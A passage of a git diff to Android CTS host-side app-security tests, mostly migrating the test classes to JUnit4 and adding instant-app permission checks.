+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
@@ -37,45 +41,31 @@
/**
* Set of tests that verify behavior of adopted storage media, if supported.
*/
-public class AdoptableHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AdoptableHostTest extends BaseHostJUnit4Test {
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
+ @Before
+ public void setUp() throws Exception {
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- Utils.prepareSingleUser(getDevice());
- assertNotNull(mAbi);
- assertNotNull(mCtsBuild);
+ // Start all possible users to make sure their storage is unlocked
+ Utils.prepareMultipleUsers(getDevice(), Integer.MAX_VALUE);
getDevice().uninstallPackage(PKG);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
+ @After
+ public void tearDown() throws Exception {
getDevice().uninstallPackage(PKG);
}
+ @Test
public void testApps() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
try {
- final String abi = mAbi.getName();
+ final String abi = getAbi().getName();
final String apk = ABI_TO_APK.get(abi);
- assertNotNull("Failed to find APK for ABI " + abi, apk);
+ Assert.assertNotNull("Failed to find APK for ABI " + abi, apk);
// Install simple app on internal
new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk).run();
@@ -119,6 +109,7 @@
}
}
+ @Test
public void testPrimaryStorage() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
@@ -218,6 +209,7 @@
* Verify that we can install both new and inherited packages directly on
* adopted volumes.
*/
+ @Test
public void testPackageInstaller() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
@@ -246,6 +238,7 @@
* Verify behavior when changes occur while adopted device is ejected and
* returned at a later time.
*/
+ @Test
public void testEjected() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
@@ -335,11 +328,6 @@
getDevice().executeShellCommand("sm forget all");
}
- private void runDeviceTests(String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
- }
-
private static void assertSuccess(String str) {
if (str == null || !str.startsWith("Success")) {
throw new AssertionError("Expected success string but found " + str);
@@ -367,7 +355,7 @@
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
public InstallMultiple() {
- super(getDevice(), mCtsBuild, mAbi);
+ super(getDevice(), getBuild(), getAbi());
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 90b89af..797ffcb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -29,7 +29,6 @@
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.ITargetPreparer;
import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.StreamUtil;
/**
* Creates secondary and tertiary users for use during a test suite.
@@ -56,11 +55,8 @@
"Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
}
} catch (IllegalStateException e) {
- InputStreamSource logcat = device.getLogcatDump();
- try {
+ try (InputStreamSource logcat = device.getLogcatDump()) {
mLogger.testLog("AppSecurityPrep_failed_create_user", LogDataType.LOGCAT, logcat);
- } finally {
- StreamUtil.cancel(logcat);
}
throw new TargetSetupError("Failed to create user.", e, device.getDeviceDescriptor());
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 00bac12..085cc43 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -16,32 +16,30 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.AbiUtils;
-import com.android.tradefed.util.RunUtil;
-import java.io.BufferedReader;
-import java.io.EOFException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
/**
* Set of tests that verify various security checks involving multiple apps are
* properly enforced.
*/
-public class AppSecurityTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AppSecurityTests extends BaseHostJUnit4Test {
// testSharedUidDifferentCerts constants
private static final String SHARED_UI_APK = "CtsSharedUidInstall.apk";
@@ -86,39 +84,22 @@
private static final String LOG_TAG = "AppSecurityTests";
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
-
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
private File getTestAppFile(String fileName) throws FileNotFoundException {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
return buildHelper.getTestFile(fileName);
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
Utils.prepareSingleUser(getDevice());
- assertNotNull(mCtsBuild);
+ assertNotNull(getBuild());
}
/**
* Test that an app that declares the same shared uid as an existing app, cannot be installed
* if it is signed with a different certificate.
*/
+ @Test
public void testSharedUidDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
try {
@@ -126,7 +107,7 @@
getDevice().uninstallPackage(SHARED_UI_PKG);
getDevice().uninstallPackage(SHARED_UI_DIFF_CERT_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(SHARED_UI_APK),
false, options);
assertNull(String.format("failed to install shared uid app, Reason: %s", installResult),
@@ -147,13 +128,14 @@
* Test that an app update cannot be installed over an existing app if it has a different
* certificate.
*/
+ @Test
public void testAppUpgradeDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing app upgrade with different certs");
try {
// cleanup test app that might be installed from previous partial test run
getDevice().uninstallPackage(SIMPLE_APP_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(SIMPLE_APP_APK),
false, options);
assertNull(String.format("failed to install simple app. Reason: %s", installResult),
@@ -172,6 +154,7 @@
/**
* Test that an app cannot access another app's private data.
*/
+ @Test
public void testAppFailAccessPrivateData() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to access another app's private data");
try {
@@ -179,7 +162,7 @@
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
false, options);
assertNull(String.format("failed to install app with data. Reason: %s", installResult),
@@ -202,13 +185,14 @@
/**
* Test that uninstall of an app removes its private data.
*/
+ @Test
public void testUninstallRemovesData() throws Exception {
Log.i(LOG_TAG, "Uninstalling app, verifying data is removed.");
try {
// cleanup test app that might be installed from previous partial test run
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
false, options);
assertNull(String.format("failed to install app with data. Reason: %s", installResult),
@@ -233,6 +217,7 @@
/**
* Test that an app cannot instrument another app that is signed with different certificate.
*/
+ @Test
public void testInstrumentationDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to instrument another app");
try {
@@ -240,7 +225,7 @@
getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(
getTestAppFile(TARGET_INSTRUMENT_APK), false, options);
assertNull(String.format("failed to install target instrumentation app. Reason: %s",
@@ -266,6 +251,7 @@
* Test that an app cannot use a signature-enforced permission if it is signed with a different
* certificate than the app that declared the permission.
*/
+ @Test
public void testPermissionDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
try {
@@ -274,7 +260,7 @@
getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(
getTestAppFile(DECLARE_PERMISSION_APK), false, options);
assertNull(String.format("failed to install declare permission app. Reason: %s",
@@ -302,6 +288,7 @@
/**
* Tests that an arbitrary file cannot be installed using the 'cmd' command.
*/
+ @Test
public void testAdbInstallFile() throws Exception {
String output = getDevice().executeShellCommand(
"cmd package install -S 1024 /data/local/tmp/foo.apk");
@@ -309,11 +296,6 @@
}
private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName);
- }
-
- private void runDeviceTests(String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+ runDeviceTests(packageName, null);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 920e0a5..26065ca 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -17,18 +17,18 @@
package android.appsecurity.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
import java.util.ArrayList;
/**
* Base class.
*/
-public class BaseAppSecurityTest extends DeviceTestCase implements IBuildReceiver {
- protected IBuildInfo mBuildInfo;
+public class BaseAppSecurityTest extends BaseHostJUnit4Test {
/** Whether multi-user is supported. */
protected boolean mSupportsMultiUser;
@@ -37,15 +37,9 @@
/** Users we shouldn't delete in the tests */
private ArrayList<Integer> mFixedUsers;
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mBuildInfo = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- assertNotNull(mBuildInfo); // ensure build has been set before test is run.
+ @Before
+ public void setUp() throws Exception {
+ Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
mIsSplitSystemUser = checkIfSplitSystemUser();
@@ -70,8 +64,8 @@
if (userId < 0) {
userId = mPrimaryUserId;
}
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
- assertNull(getDevice().installPackageForUser(
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+ Assert.assertNull(getDevice().installPackageForUser(
buildHelper.getTestFile(apk), true, false, userId, "-t"));
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index e291771..f4f6d9e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -15,11 +15,17 @@
*/
package android.appsecurity.cts;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-public class ClassloaderSplitsTest extends DeviceTestCase implements IBuildReceiver {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ClassloaderSplitsTest extends BaseHostJUnit4Test implements IBuildReceiver {
private static final String PKG = "com.android.cts.classloadersplitapp";
private static final String TEST_CLASS = PKG + ".SplitAppTest";
@@ -39,54 +45,48 @@
private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
- private IBuildInfo mBuildInfo;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
Utils.prepareSingleUser(getDevice());
getDevice().uninstallPackage(PKG);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
getDevice().uninstallPackage(PKG);
}
+ @Test
public void testBaseClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
}
+ @Test
public void testFeatureAClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
}
+ @Test
public void testFeatureBClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
}
+ @Test
public void testReceiverClassLoaders() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mBuildInfo = buildInfo;
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
}
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
public InstallMultiple() {
- super(getDevice(), mBuildInfo, null);
+ super(getDevice(), getBuild(), null);
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..983ab57 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -16,15 +16,20 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import com.android.ddmlib.AdbCommandRejectedException;
import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Set of tests that verify behavior of direct boot, if supported.
@@ -32,7 +37,8 @@
* Note that these tests drive PIN setup manually instead of relying on device
* administrators, which are not supported by all devices.
*/
-public class DirectBootHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class DirectBootHostTest extends BaseHostJUnit4Test {
private static final String TAG = "DirectBootHostTest";
private static final String PKG = "com.android.cts.encryptionapp";
@@ -55,35 +61,19 @@
private String mFeatureList = null;
private int[] mUsers;
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
mUsers = Utils.prepareSingleUser(getDevice());
- assertNotNull(mAbi);
- assertNotNull(mCtsBuild);
+ assertNotNull(getAbi());
+ assertNotNull(getBuild());
getDevice().uninstallPackage(PKG);
getDevice().uninstallPackage(OTHER_PKG);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
+ @After
+ public void tearDown() throws Exception {
getDevice().uninstallPackage(PKG);
getDevice().uninstallPackage(OTHER_PKG);
}
@@ -91,6 +81,7 @@
/**
* Automotive devices MUST support native FBE.
*/
+ @Test
public void testAutomotiveNativeFbe() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -107,6 +98,7 @@
/**
* If device has native FBE, verify lifecycle.
*/
+ @Test
public void testDirectBootNative() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -122,6 +114,7 @@
/**
* If device doesn't have native FBE, enable emulation and verify lifecycle.
*/
+ @Test
public void testDirectBootEmulated() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -137,6 +130,7 @@
/**
* If device doesn't have native FBE, verify normal lifecycle.
*/
+ @Test
public void testDirectBootNone() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -213,7 +207,7 @@
int... users) throws DeviceNotAvailableException {
for (int user : users) {
Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user);
+ runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
}
}
@@ -269,7 +263,7 @@
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
public InstallMultiple() {
- super(getDevice(), mCtsBuild, mAbi);
+ super(getDevice(), getBuild(), getAbi());
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fdd2f06..5564125 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -219,6 +219,49 @@
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
}
+ /** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
+ public void testStartForegrondService() throws Exception {
+ // Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE
+ getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG
+ + " android.permission.INSTANT_APP_FOREGROUND_SERVICE");
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartForegroundService");
+ }
+
+ /** Test for android.permission.RECORD_AUDIO */
+ public void testRecordAudioPermission() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testRecordAudioPermission");
+ }
+
+ /** Test for android.permission.CAMERA */
+ public void testCameraPermission() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testCameraPermission");
+ }
+
+ /** Test for android.permission.READ_PHONE_NUMBERS */
+ public void testReadPhoneNumbersPermission() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testReadPhoneNumbersPermission");
+ }
+
+ /** Test for android.permission.ACCESS_COARSE_LOCATION */
+ public void testAccessCoarseLocationPermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testAccessCoarseLocationPermission");
+ }
+
+ /** Test for android.permission.NETWORK */
+ public void testInternetPermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInternetPermission");
+ }
+
+ /** Test for android.permission.VIBRATE */
+ public void testVibratePermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testVibratePermission");
+ }
+
+ /** Test for android.permission.WAKE_LOCK */
+ public void testWakeLockPermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testWakeLockPermission");
+ }
+
private static final HashMap<String, String> makeArgs(
String action, String category, String mimeType) {
if (action == null || action.length() == 0) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 87d8bd6..d2f032d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -16,24 +16,28 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.AbiUtils;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileNotFoundException;
/**
* Set of tests that verify behavior of external storage devices.
*/
-public class ExternalStorageHostTest extends DeviceTestCase
- implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ExternalStorageHostTest extends BaseHostJUnit4Test {
private static final String TAG = "ExternalStorageHostTest";
private static final String COMMON_CLASS =
@@ -53,47 +57,29 @@
private static final String MULTIUSER_CLASS = ".MultiUserStorageTest";
private int[] mUsers;
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
-
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
private File getTestAppFile(String fileName) throws FileNotFoundException {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
return buildHelper.getTestFile(fileName);
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
mUsers = Utils.prepareMultipleUsers(getDevice());
- assertNotNull(mAbi);
- assertNotNull(mCtsBuild);
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ assertNotNull(getAbi());
+ assertNotNull(getBuild());
}
/**
* Verify that app with no external storage permissions works correctly.
*/
+ @Test
public void testExternalStorageNone() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(NONE_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
for (int user : mUsers) {
@@ -110,12 +96,13 @@
* {@link android.Manifest.permission#READ_EXTERNAL_STORAGE} works
* correctly.
*/
+ @Test
public void testExternalStorageRead() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(READ_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
for (int user : mUsers) {
@@ -132,12 +119,13 @@
* {@link android.Manifest.permission#WRITE_EXTERNAL_STORAGE} works
* correctly.
*/
+ @Test
public void testExternalStorageWrite() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(WRITE_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
for (int user : mUsers) {
@@ -153,6 +141,7 @@
* Verify that app with WRITE_EXTERNAL can leave gifts in external storage
* directories belonging to other apps, and those apps can read.
*/
+ @Test
public void testExternalStorageGifts() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -160,7 +149,7 @@
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(READ_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
// We purposefully delay the installation of the reading apps to
// verify that the daemon correctly invalidates any caches.
@@ -186,6 +175,7 @@
* Test multi-user emulated storage environment, ensuring that each user has
* isolated storage.
*/
+ @Test
public void testMultiUserStorageIsolated() throws Exception {
try {
if (mUsers.length == 1) {
@@ -198,7 +188,7 @@
// Install our test app
getDevice().uninstallPackage(MULTIUSER_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
final String installResult = getDevice()
.installPackage(getTestAppFile(MULTIUSER_APK), false, options);
assertNull("Failed to install: " + installResult, installResult);
@@ -231,6 +221,7 @@
* Test that apps with read permissions see the appropriate permissions
* when apps with r/w permission levels move around their files.
*/
+ @Test
public void testMultiViewMoveConsistency() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -238,7 +229,7 @@
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(READ_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
@@ -271,13 +262,14 @@
}
/** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
+ @Test
public void testExternalStorageReadDefaultUris() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
@@ -324,11 +316,11 @@
private void runDeviceTests(String packageName, String testClassName, int userId)
throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, userId);
+ runDeviceTests(getDevice(), packageName, testClassName, null, userId, null);
}
private void runDeviceTests(String packageName, String testClassName, String testMethodName,
int userId) throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId);
+ runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, null);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
new file mode 100644
index 0000000..15c3d3c
--- /dev/null
